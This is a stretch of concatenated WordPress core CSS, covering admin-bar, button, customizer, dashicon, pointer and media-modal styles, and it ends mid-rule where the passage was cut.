.blavatar:before{display:none}#wpadminbar #wp-admin-bar-search{display:none}#wpadminbar #wp-admin-bar-new-content .ab-icon:before{top:0;line-height:1.33333333;height:46px!important;text-align:center;width:52px;display:block}#wpadminbar #wp-admin-bar-updates{text-align:center}#wpadminbar #wp-admin-bar-updates .ab-icon:before{top:3px}#wpadminbar #wp-admin-bar-comments .ab-icon{margin:0}#wpadminbar #wp-admin-bar-comments .ab-icon:before{display:block;font-size:34px;height:46px;line-height:1.38235294;top:0}#wpadminbar #wp-admin-bar-my-account>a{position:relative;white-space:nowrap;text-indent:150%;width:28px;padding:0 10px;overflow:hidden}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{position:absolute;top:13px;left:10px;width:26px;height:26px}#wpadminbar #wp-admin-bar-user-actions.ab-submenu{padding:0}#wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar{display:none}#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions>li{margin:0}#wpadminbar #wp-admin-bar-user-info .display-name{height:auto;font-size:16px;line-height:1.5;color:#f0f0f1}#wpadminbar #wp-admin-bar-user-info a{padding-top:4px}#wpadminbar #wp-admin-bar-user-info .username{line-height:.8!important;margin-bottom:-2px}#wp-toolbar>ul>li{display:none}#wpadminbar li#wp-admin-bar-comments,#wpadminbar li#wp-admin-bar-customize,#wpadminbar li#wp-admin-bar-edit,#wpadminbar li#wp-admin-bar-menu-toggle,#wpadminbar li#wp-admin-bar-my-account,#wpadminbar li#wp-admin-bar-my-sites,#wpadminbar li#wp-admin-bar-new-content,#wpadminbar li#wp-admin-bar-site-editor,#wpadminbar li#wp-admin-bar-site-name,#wpadminbar li#wp-admin-bar-updates,#wpadminbar li#wp-admin-bar-wp-logo{display:block}#wpadminbar li.hover ul li,#wpadminbar li:hover ul li,#wpadminbar li:hover ul li:hover ul li{display:list-item}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{min-width:-moz-fit-content;min-width:fit-content}#wpadminbar ul#wp-admin-bar-root-default>li{margin-left:0}#wpadminbar #wp-admin-bar-comments,#wpadminbar #wp-admin-bar-edit,#wpadminbar #wp-admin-bar-my-account,#wpadminbar #wp-admin-bar-my-sites,#wpadminbar #wp-admin-bar-new-content,#wpadminbar #wp-admin-bar-site-name,#wpadminbar #wp-admin-bar-updates,#wpadminbar #wp-admin-bar-wp-logo,#wpadminbar .ab-top-menu,#wpadminbar .ab-top-secondary{position:static}#wpadminbar #wp-admin-bar-my-account{float:left}.network-admin #wpadminbar ul#wp-admin-bar-top-secondary>li#wp-admin-bar-my-account{margin-left:0}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item:before{top:10px;right:0}}@media screen and (max-width:600px){#wpadminbar{position:absolute}#wp-responsive-overlay{position:fixed;top:0;right:0;width:100%;height:100%;z-index:400}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{width:100%;right:0}#wpadminbar .menupop .menupop>.ab-item:before{display:none}#wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper{margin-right:0}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper{margin:0;width:100%;top:auto;right:auto;position:relative}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper .ab-item{font-size:16px;padding:6px 30px 19px 15px}#wpadminbar li:hover ul li ul li{display:list-item}#wpadminbar li#wp-admin-bar-updates,#wpadminbar li#wp-admin-bar-wp-logo{display:none}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper{position:static;box-shadow:none}}@media screen and (max-width:400px){#wpadminbar li#wp-admin-bar-comments{display:none}}/*! This file is auto-generated */
.wp-core-ui .button,.wp-core-ui .button-primary,.wp-core-ui .button-secondary{display:inline-block;text-decoration:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.wp-core-ui button::-moz-focus-inner,.wp-core-ui input[type=button]::-moz-focus-inner,.wp-core-ui input[type=reset]::-moz-focus-inner,.wp-core-ui input[type=submit]::-moz-focus-inner{border-width:0;border-style:none;padding:0}.wp-core-ui .button-group.button-large .button,.wp-core-ui .button.button-large{min-height:32px;line-height:2.30769231;padding:0 12px}.wp-core-ui .button-group.button-small .button,.wp-core-ui .button.button-small{min-height:26px;line-height:2.18181818;padding:0 8px;font-size:11px}.wp-core-ui .button-group.button-hero .button,.wp-core-ui .button.button-hero{font-size:14px;min-height:46px;line-height:3.14285714;padding:0 36px}.wp-core-ui .button.hidden{display:none}.wp-core-ui input[type=reset],.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:focus,.wp-core-ui input[type=reset]:hover{background:0 0;border:none;box-shadow:none;padding:0 2px 1px;width:auto}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#2271b1;border-color:#2271b1;background:#f6f7f7;vertical-align:top}.wp-core-ui p .button{vertical-align:baseline}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{background:#f6f7f7;border-color:#3582c4;color:#0a4b78;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent;outline-offset:0}.wp-core-ui .button-secondary:active,.wp-core-ui .button:active{background:#f6f7f7;border-color:#8c8f94;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:hover{background-color:#dcdcde;color:#135e96;border-color:#0a4b78;box-shadow:inset 0 2px 5px -3px #0a4b78}.wp-core-ui .button.active:focus{border-color:#3582c4;box-shadow:inset 0 2px 5px -3px #0a4b78,0 0 0 1px #3582c4}.wp-core-ui .button-disabled,.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled,.wp-core-ui .button-secondary[disabled],.wp-core-ui .button.disabled,.wp-core-ui .button:disabled,.wp-core-ui .button[disabled]{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;cursor:default;transform:none!important}.wp-core-ui .button-secondary[aria-disabled=true],.wp-core-ui .button[aria-disabled=true]{cursor:default}.wp-core-ui .button-link{margin:0;padding:0;box-shadow:none;border:0;border-radius:0;background:0 0;cursor:pointer;text-align:left;color:#2271b1;text-decoration:underline;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover{color:#135e96}.wp-core-ui .button-link:focus{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.wp-core-ui .button-link-delete{color:#d63638}.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#d63638;background:0 0}.wp-core-ui .button-link-delete:disabled{background:0 0!important}.wp-core-ui .button-primary{background:#2271b1;border-color:#2271b1;color:#fff;text-decoration:none;text-shadow:none}.wp-core-ui .button-primary.focus,.wp-core-ui .button-primary.hover,.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#135e96;border-color:#135e96;color:#fff}.wp-core-ui .button-primary.focus,.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #2271b1}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover,.wp-core-ui .button-primary:active{background:#135e96;border-color:#135e96;box-shadow:none;color:#fff}.wp-core-ui .button-primary-disabled,.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled,.wp-core-ui .button-primary[disabled]{color:#a7aaad!important;background:#f6f7f7!important;border-color:#dcdcde!important;box-shadow:none!important;text-shadow:none!important;cursor:default}.wp-core-ui .button-primary[aria-disabled=true]{cursor:default}.wp-core-ui .button-group{position:relative;display:inline-block;white-space:nowrap;font-size:0;vertical-align:middle}.wp-core-ui .button-group>.button{display:inline-block;border-radius:0;margin-right:-1px}.wp-core-ui .button-group>.button:first-child{border-radius:3px 0 0 3px}.wp-core-ui .button-group>.button:last-child{border-radius:0 3px 3px 0}.wp-core-ui .button-group>.button-primary+.button{border-left:0}.wp-core-ui .button-group>.button:focus{position:relative;z-index:1}.wp-core-ui .button-group>.button.active{background-color:#dcdcde;color:#135e96;border-color:#0a4b78;box-shadow:inset 0 2px 5px -3px #0a4b78}.wp-core-ui .button-group>.button.active:focus{border-color:#3582c4;box-shadow:inset 0 2px 5px -3px #0a4b78,0 0 0 1px #3582c4}@media screen and (max-width:782px){.wp-core-ui .button,.wp-core-ui .button.button-large,.wp-core-ui .button.button-small,a.preview,input#publish,input#save-post{padding:0 14px;line-height:2.71428571;font-size:14px;vertical-align:middle;min-height:40px;margin-bottom:4px}.wp-core-ui .copy-to-clipboard-container .copy-attachment-url{margin-bottom:0}#media-upload.wp-core-ui .button{padding:0 10px 1px;min-height:24px;line-height:22px;font-size:13px}.media-frame.mode-grid .bulk-select .button{margin-bottom:0}.wp-core-ui .save-post-status.button{position:relative;margin:0 14px 0 10px}.wp-core-ui.wp-customizer .button{font-size:13px;line-height:2.15384615;min-height:30px;margin:0;vertical-align:inherit}.wp-customizer .theme-overlay .theme-actions .button{margin-bottom:5px}.media-modal-content .media-toolbar-primary .media-button{margin-top:10px;margin-left:5px}.interim-login .button.button-large{min-height:30px;line-height:2;padding:0 12px 2px}}/*! This file is auto-generated */
.customize-partial-refreshing{opacity:.25;transition:opacity .25s;cursor:progress}.customize-partial-refreshing.widget-customizer-highlighted-widget{box-shadow:none}.customize-partial-edit-shortcut,.widget .customize-partial-edit-shortcut{position:absolute;float:left;width:1px;height:1px;padding:0;margin:-1px 0 0 -1px;border:0;background:0 0;color:transparent;box-shadow:none;outline:0;z-index:5}.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{position:absolute;left:-30px;top:2px;color:#fff;width:30px;height:30px;min-width:30px;min-height:30px;line-height:1!important;font-size:18px;z-index:5;background:#3582c4!important;border-radius:50%;border:2px solid #fff;box-shadow:0 2px 1px rgba(60,67,74,.15);text-align:center;cursor:pointer;box-sizing:border-box;padding:3px;animation-fill-mode:both;animation-duration:.4s;opacity:0;pointer-events:none;text-shadow:0 -1px 1px #135e96,1px 0 1px #135e96,0 1px 1px #135e96,-1px 0 1px #135e96}.wp-custom-header .customize-partial-edit-shortcut button{left:2px}.customize-partial-edit-shortcut button svg{fill:#fff;min-width:20px;min-height:20px;width:20px;height:20px;margin:auto}.customize-partial-edit-shortcut button:hover{background:#4f94d4!important}.customize-partial-edit-shortcut button:focus{box-shadow:0 0 0 2px #4f94d4}body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-appear;pointer-events:auto}body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-disappear;pointer-events:none}.customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button,.page-sidebar-collapsed .customize-partial-edit-shortcut button{visibility:hidden}@keyframes customize-partial-edit-shortcut-bounce-appear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;transform:scale3d(.3,.3,.3)}20%{transform:scale3d(1.1,1.1,1.1)}40%{transform:scale3d(.9,.9,.9)}60%{opacity:1;transform:scale3d(1.03,1.03,1.03)}80%{transform:scale3d(.97,.97,.97)}to{opacity:1;transform:scale3d(1,1,1)}}@keyframes customize-partial-edit-shortcut-bounce-disappear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:1;transform:scale3d(1,1,1)}20%{transform:scale3d(.97,.97,.97)}40%{opacity:1;transform:scale3d(1.03,1.03,1.03)}60%{transform:scale3d(.9,.9,.9)}80%{transform:scale3d(1.1,1.1,1.1)}to{opacity:0;transform:scale3d(.3,.3,.3)}}@media screen and (max-width:800px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{left:-32px}}@media screen and (max-width:320px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{left:-30px}}/*! This file is auto-generated */
.dashicons-no{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAQAAAAngNWGAAAAcElEQVR4AdXRVxmEMBAGwJMQCUhAIhKQECmRsFJwMFfp7HfP/E8pk0173CuKpt/0R+WaBaaZqogLagBMuh+DdoKbyRCwqZ/SnM0R5oQuZ2UHS8Z6k23qPxZCTrV5UlHMi8bsfHVXP7K/GXZHaTO7S54CWLdHlN2YIwAAAABJRU5ErkJggg==)}.dashicons-admin-comments{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAATUlEQVR4AWMYWqCpvUcAiA8A8X9iMFStAD4DG0AKScQNVDZw1MBRAwvIMLCA5jmFlCD4AMQGlOTtBgoNwzQQ3TCKDaTcMMxYN2AYVgAAYPKsEBxN0PIAAAAASUVORK5CYII=)}.wp-embed-comments a:hover .dashicons-admin-comments{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAATElEQVR4AWMYYqB4lQAQHwDi/8RgqFoBfAY2gBSSiBuobOCogaMGFpBhYAEdcwrhIPgAxAaU5O0GCg3DNBDdMIoNpNwwzFg3YBhWAABG71qAFYcFqgAAAABJRU5ErkJggg==)}.dashicons-share{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAc0lEQVR4AWMYfqCpvccAiBcA8X8gfgDEBZQaeAFkGBoOoMR1/7HgDeQa2ECZgQiDHID4AMwAor0MCmBoQP+HBnwAskFQdgBRkQJViGk7wiAHUr21AYdhDTA1dDOQHl6mPFLokmwoT9j0z3qUFw70L77oDwAiuzCIub1XpQAAAABJRU5ErkJggg==)}.wp-embed-share-dialog-open:hover .dashicons-share{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAc0lEQVR4AWMYhqB4lQEQLwDi/0D8AIgLKDXwAsgwNBxAiev+Y8EbyDWwgTIDEQY5APEBmAFEexkUwNCA/g8N+ABkg6DsAKIiBaoQ03aEQQ6kemsDDsMaYEroZiA9vEx5pNAl2VCesOmf9SgvHOhffNEfAAAMqPR5IEZH5wAAAABJRU5ErkJggg==)}/*! This file is auto-generated */
.wp-pointer-content {
	padding: 0 0 10px;
	position: relative;
	font-size: 13px;
	background: #fff;
	border: 1px solid #c3c4c7;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.08);
}

.wp-pointer-content h3 {
	position: relative;
	margin: -1px -1px 5px;
	padding: 15px 60px 14px 18px;
	border: 1px solid #2271b1;
	border-bottom: none;
	line-height: 1.4;
	font-size: 14px;
	color: #fff;
	background: #2271b1;
}

.wp-pointer-content h3:before {
	background: #fff;
	border-radius: 50%;
	color: #2271b1;
	content: "\f227";
	font: normal 20px/1.6 dashicons;
	position: absolute;
	top: 8px;
	right: 15px;
	speak: never;
	text-align: center;
	width: 32px;
	height: 32px;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-pointer-content h4 {
	margin: 1.33em 20px 1em;
	font-size: 1.15em;
}

.wp-pointer-content p {
	padding: 0 20px;
}

.wp-pointer-buttons {
	margin: 0;
	padding: 5px 15px;
	overflow: auto;
}

.wp-pointer-buttons a {
	float: left;
	display: inline-block;
	text-decoration: none;
}

.wp-pointer-buttons a.close {
	padding-right: 3px;
	position: relative;
}

.wp-pointer-buttons a.close:before {
	background: none;
	color: #787c82;
	content: "\f153";
	display: block !important;
	font: normal 16px/1 dashicons;
	speak: never;
	margin: 1px 0;
	text-align: center;
	-webkit-font-smoothing: antialiased !important;
	width: 10px;
	height: 100%;
	position: absolute;
	right: -15px;
	top: 1px;
}

.wp-pointer-buttons a.close:hover:before {
	color: #d63638;
}

/* The arrow base class must take up no space, even with transparent borders. */
.wp-pointer-arrow,
.wp-pointer-arrow-inner {
	position: absolute;
	width: 0;
	height: 0;
}

.wp-pointer-arrow {
	z-index: 10;
	width: 0;
	height: 0;
	border: 0 solid transparent;
}

.wp-pointer-arrow-inner {
	z-index: 20;
}

/* Make Room for the Arrow! */
.wp-pointer-top,
.wp-pointer-undefined {
	padding-top: 13px;
}

.wp-pointer-bottom {
	margin-top: -13px;
	padding-bottom: 13px;
}

/* rtl:ignore */
.wp-pointer-left {
	padding-left: 13px;
}
/* rtl:ignore */
.wp-pointer-right {
	margin-left: -13px;
	padding-right: 13px;
}

/* Base Size & Positioning */
.wp-pointer-top .wp-pointer-arrow,
.wp-pointer-bottom .wp-pointer-arrow,
.wp-pointer-undefined .wp-pointer-arrow {
	right: 50px;
}

.wp-pointer-left .wp-pointer-arrow,
.wp-pointer-right .wp-pointer-arrow {
	top: 50%;
	margin-top: -15px;
}

/* Arrow Sprite */
.wp-pointer-top .wp-pointer-arrow,
.wp-pointer-undefined .wp-pointer-arrow {
	top: 0;
	border-width: 0 13px 13px;
	border-bottom-color: #2271b1;
}

.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer-undefined .wp-pointer-arrow-inner {
	top: 1px;
	margin-right: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-bottom-color: #2271b1;
	display: block;
	content: " ";
}

.wp-pointer-bottom .wp-pointer-arrow {
	bottom: 0;
	border-width: 13px 13px 0;
	border-top-color: #c3c4c7;
}

.wp-pointer-bottom .wp-pointer-arrow-inner {
	bottom: 1px;
	margin-right: -13px;
	margin-bottom: -13px;
	border: 13px solid transparent;
	border-top-color: #fff;
	display: block;
	content: " ";
}

/* rtl:ignore */
.wp-pointer-left .wp-pointer-arrow {
	left: 0;
	border-width: 13px 13px 13px 0;
	border-right-color: #c3c4c7;
}

/* rtl:ignore */
.wp-pointer-left .wp-pointer-arrow-inner {
	left: 1px;
	margin-left: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-right-color: #fff;
	display: block;
	content: " ";
}

/* rtl:ignore */
.wp-pointer-right .wp-pointer-arrow {
	right: 0;
	border-width: 13px 0 13px 13px;
	border-left-color: #c3c4c7;
}

/* rtl:ignore */
.wp-pointer-right .wp-pointer-arrow-inner {
	right: 1px;
	margin-right: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-left-color: #fff;
	display: block;
	content: " ";
}

.wp-pointer.arrow-bottom .wp-pointer-content {
	margin-bottom: -45px;
}

.wp-pointer.arrow-bottom .wp-pointer-arrow {
	top: 100%;
	margin-top: -30px;
}

/* Disable pointers at responsive sizes */
@media screen and (max-width: 782px) {
	.wp-pointer {
		display: none;
	}
}
/**
 * These rules are needed for backwards compatibility.
 * They should match the button element rules in the base theme.json file.
 */
.wp-block-button__link {
	color: #ffffff;
	background-color: #32373c;
	border-radius: 9999px; /* 100% causes an oval, but any explicit but really high value retains the pill shape. */

	/* This needs a low specificity so it won't override the rules from the button element if defined in theme.json. */
	box-shadow: none;
	text-decoration: none;

	/* The extra 2px are added to size solids the same as the outline versions.*/
	padding: calc(0.667em + 2px) calc(1.333em + 2px);

	font-size: 1.125em;
}

.wp-block-file__button {
	background: #32373c;
	color: #ffffff;
	text-decoration: none;
}
/*! This file is auto-generated */
/**
 * Base Styles
 */
.media-modal * {
	box-sizing: content-box;
}

.media-modal input,
.media-modal select,
.media-modal textarea {
	box-sizing: border-box;
}

.media-modal,
.media-frame {
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 12px;
	-webkit-overflow-scrolling: touch;
}

.media-modal legend {
	padding: 0;
	font-size: 13px;
}

.media-modal label {
	font-size: 13px;
}

.media-modal .legend-inline {
	position: absolute;
	transform: translate(100%, 50%);
	margin-right: -1%;
	line-height: 1.2;
}

.media-frame a {
	border-bottom: none;
	color: #2271b1;
}

.media-frame a:hover,
.media-frame a:active {
	color: #135e96;
}

.media-frame a:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-frame a.button {
	color: #2c3338;
}

.media-frame a.button:hover {
	color: #1d2327;
}

.media-frame a.button-primary,
.media-frame a.button-primary:hover {
	color: #fff;
}

.media-frame input,
.media-frame textarea {
	padding: 6px 8px;
}

.media-frame select,
.wp-admin .media-frame select {
	min-height: 30px;
	vertical-align: middle;
}

.media-frame input[type="text"],
.media-frame input[type="password"],
.media-frame input[type="color"],
.media-frame input[type="date"],
.media-frame input[type="datetime"],
.media-frame input[type="datetime-local"],
.media-frame input[type="email"],
.media-frame input[type="month"],
.media-frame input[type="number"],
.media-frame input[type="search"],
.media-frame input[type="tel"],
.media-frame input[type="time"],
.media-frame input[type="url"],
.media-frame input[type="week"],
.media-frame textarea,
.media-frame select {
	box-shadow: 0 0 0 transparent;
	border-radius: 4px;
	border: 1px solid #8c8f94;
	background-color: #fff;
	color: #2c3338;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 13px;
	line-height: 1.38461538;
}

.media-frame input[type="text"],
.media-frame input[type="password"],
.media-frame input[type="date"],
.media-frame input[type="datetime"],
.media-frame input[type="datetime-local"],
.media-frame input[type="email"],
.media-frame input[type="month"],
.media-frame input[type="number"],
.media-frame input[type="search"],
.media-frame input[type="tel"],
.media-frame input[type="time"],
.media-frame input[type="url"],
.media-frame input[type="week"] {
	padding: 0 8px;
	/* inherits font size 13px */
	line-height: 2.15384615; /* 28px */
}

/* Search field in the Media Library toolbar */
.media-frame.mode-grid .wp-filter input[type="search"] {
	font-size: 14px;
	line-height: 2;
}

.media-frame input[type="text"]:focus,
.media-frame input[type="password"]:focus,
.media-frame input[type="number"]:focus,
.media-frame input[type="search"]:focus,
.media-frame input[type="email"]:focus,
.media-frame input[type="url"]:focus,
.media-frame textarea:focus,
.media-frame select:focus {
	border-color: #3582c4;
	box-shadow: 0 0 0 1px #3582c4;
	outline: 2px solid transparent;
}

.media-frame input:disabled,
.media-frame textarea:disabled,
.media-frame input[readonly],
.media-frame textarea[readonly] {
	background-color: #f0f0f1;
}

.media-frame input[type="search"] {
	-webkit-appearance: textfield;
}

.media-frame ::-webkit-input-placeholder {
	color: #646970;
}

.media-frame ::-moz-placeholder {
	color: #646970;
	opacity: 1;
}

.media-frame :-ms-input-placeholder {
	color: #646970;
}

/*
 * In some cases there's the need of higher specificity,
 * for example higher than `.media-embed .setting`.
 */
.media-frame .hidden,
.media-frame .setting.hidden {
	display: none;
}

/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
.ui-draggable-handle,
.ui-sortable-handle {
	touch-action: none;
}

/**
 * Modal
 */
.media-modal {
	position: fixed;
	top: 30px;
	right: 30px;
	left: 30px;
	bottom: 30px;
	z-index: 160000;
}

.wp-customizer .media-modal {
	z-index: 560000;
}

.media-modal-backdrop {
	position: fixed;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	z-index: 159900;
}

.wp-customizer .media-modal-backdrop {
	z-index: 559900;
}

.media-modal-close {
	position: absolute;
	top: 0;
	left: 0;
	width: 50px;
	height: 50px;
	margin: 0;
	padding: 0;
	border: 1px solid transparent;
	background: none;
	color: #646970;
	z-index: 1000;
	cursor: pointer;
	outline: none;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.media-modal-close:hover,
.media-modal-close:active {
	color: #135e96;
}

.media-modal-close:focus {
	color: #135e96;
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-modal-close span.media-modal-icon {
	background-image: none;
}

.media-modal-close .media-modal-icon:before {
	content: "\f158";
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.media-modal-content {
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	overflow: auto;
	min-height: 300px;
	box-shadow: 0 5px 15px rgba(0, 0, 0, 0.7);
	background: #fff;
	-webkit-font-smoothing: subpixel-antialiased;
}

.media-modal-content .media-frame select.attachment-filters {
	margin-top: 32px;
	margin-left: 2%;
	width: 42%;
	width: calc(48% - 12px);
}

/* higher specificity */
.wp-core-ui .media-modal-icon {
	background-image: url(../images/uploader-icons.png);
	background-repeat: no-repeat;
}

/**
 * Toolbar
 */
.media-toolbar {
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	z-index: 100;
	height: 60px;
	padding: 0 16px;
	border: 0 solid #dcdcde;
	overflow: hidden;
}

.media-frame-toolbar .media-toolbar {
	top: auto;
	bottom: -47px;
	height: auto;
	overflow: visible;
	border-top: 1px solid #dcdcde;
}

.media-toolbar-primary {
	float: left;
	height: 100%;
	position: relative;
}

.media-toolbar-secondary {
	float: right;
	height: 100%;
}

.media-toolbar-primary > .media-button,
.media-toolbar-primary > .media-button-group {
	margin-right: 10px;
	float: right;
	margin-top: 15px;
}

.media-toolbar-secondary > .media-button,
.media-toolbar-secondary > .media-button-group {
	margin-left: 10px;
	margin-top: 15px;
}

/**
 * Sidebar
 */
.media-sidebar {
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	width: 267px;
	padding: 0 16px;
	z-index: 75;
	background: #f6f7f7;
	border-right: 1px solid #dcdcde;
	overflow: auto;
	-webkit-overflow-scrolling: touch;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.media-sidebar::after {
	content: "";
	display: flex;
	clear: both;
	height: 24px;
}

.hide-toolbar .media-sidebar {
	bottom: 0;
}

.media-sidebar h2,
.image-details .media-embed h2 {
	position: relative;
	font-weight: 600;
	text-transform: uppercase;
	font-size: 12px;
	color: #646970;
	margin: 24px 0 8px;
}

.media-sidebar .setting,
.attachment-details .setting {
	display: block;
	float: right;
	width: 100%;
	margin: 0 0 10px;
}

.media-sidebar .collection-settings .setting {
	margin: 1px 0;
}

.media-sidebar .setting.has-description,
.attachment-details .setting.has-description {
	margin-bottom: 5px;
}

.media-sidebar .setting .link-to-custom {
	margin: 3px 2px 0;
}

.media-sidebar .setting span, /* Back-compat for pre-5.3 */
.attachment-details .setting span, /* Back-compat for pre-5.3 */
.media-sidebar .setting .name,
.media-sidebar .setting .value,
.attachment-details .setting .name {
	min-width: 30%;
	margin-left: 4%;
	font-size: 12px;
	text-align: left;
	word-wrap: break-word;
}

.media-sidebar .setting .name {
	max-width: 80px;
}

.media-sidebar .setting .value {
	text-align: right;
}

.media-sidebar .setting select {
	max-width: 65%;
}

.media-sidebar .setting input[type="checkbox"],
.media-sidebar .field input[type="checkbox"],
.media-sidebar .setting input[type="radio"],
.media-sidebar .field input[type="radio"],
.attachment-details .setting input[type="checkbox"],
.attachment-details .field input[type="checkbox"],
.attachment-details .setting input[type="radio"],
.attachment-details .field input[type="radio"] {
	float: none;
	margin: 8px 3px 0;
	padding: 0;
}

.media-sidebar .setting span, /* Back-compat for pre-5.3 */
.attachment-details .setting span, /* Back-compat for pre-5.3 */
.media-sidebar .setting .name,
.media-sidebar .setting .value,
.media-sidebar .checkbox-label-inline,
.attachment-details .setting .name,
.attachment-details .setting .value,
.compat-item label span {
	float: right;
	min-height: 22px;
	padding-top: 8px;
	line-height: 1.33333333;
	font-weight: 400;
	color: #646970;
}

.media-sidebar .checkbox-label-inline {
	font-size: 12px;
}

.media-sidebar .copy-to-clipboard-container,
.attachment-details .copy-to-clipboard-container {
	flex-wrap: wrap;
	margin-top: 10px;
	margin-right: calc( 35% - 1px );
	padding-top: 10px;
}

/* Needs high specificity. */
.attachment-details .attachment-info .copy-to-clipboard-container {
	float: none;
}

.media-sidebar .copy-to-clipboard-container .success,
.attachment-details .copy-to-clipboard-container .success {
	padding: 0;
	min-height: 0;
	line-height: 2.18181818;
	text-align: right;
	color: #007017;
}

.compat-item label span {
	text-align: left;
}

.media-sidebar .setting input[type="text"],
.media-sidebar .setting input[type="password"],
.media-sidebar .setting input[type="email"],
.media-sidebar .setting input[type="number"],
.media-sidebar .setting input[type="search"],
.media-sidebar .setting input[type="tel"],
.media-sidebar .setting input[type="url"],
.media-sidebar .setting textarea,
.media-sidebar .setting .value,
.attachment-details .setting input[type="text"],
.attachment-details .setting input[type="password"],
.attachment-details .setting input[type="email"],
.attachment-details .setting input[type="number"],
.attachment-details .setting input[type="search"],
.attachment-details .setting input[type="tel"],
.attachment-details .setting input[type="url"],
.attachment-details .setting textarea,
.attachment-details .setting .value,
.attachment-details .setting + .description {
	box-sizing: border-box;
	margin: 1px;
	width: 65%;
	float: left;
}

.media-sidebar .setting .value,
.attachment-details .setting .value,
.attachment-details .setting + .description {
	margin: 0 1px;
	text-align: right;
}

.attachment-details .setting + .description {
	clear: both;
	font-size: 12px;
	font-style: normal;
	margin-bottom: 10px;
}

.media-sidebar .setting textarea,
.attachment-details .setting textarea,
.compat-item .field textarea {
	height: 62px;
	resize: vertical;
}

.media-sidebar .alt-text textarea,
.attachment-details .alt-text textarea,
.compat-item .alt-text textarea,
.alt-text textarea {
	height: 50px;
}

.compat-item {
	float: right;
	width: 100%;
	overflow: hidden;
}

.compat-item table {
	width: 100%;
	table-layout: fixed;
	border-spacing: 0;
	border: 0;
}

.compat-item tr {
	padding: 2px 0;
	display: block;
	overflow: hidden;
}

.compat-item .label,
.compat-item .field {
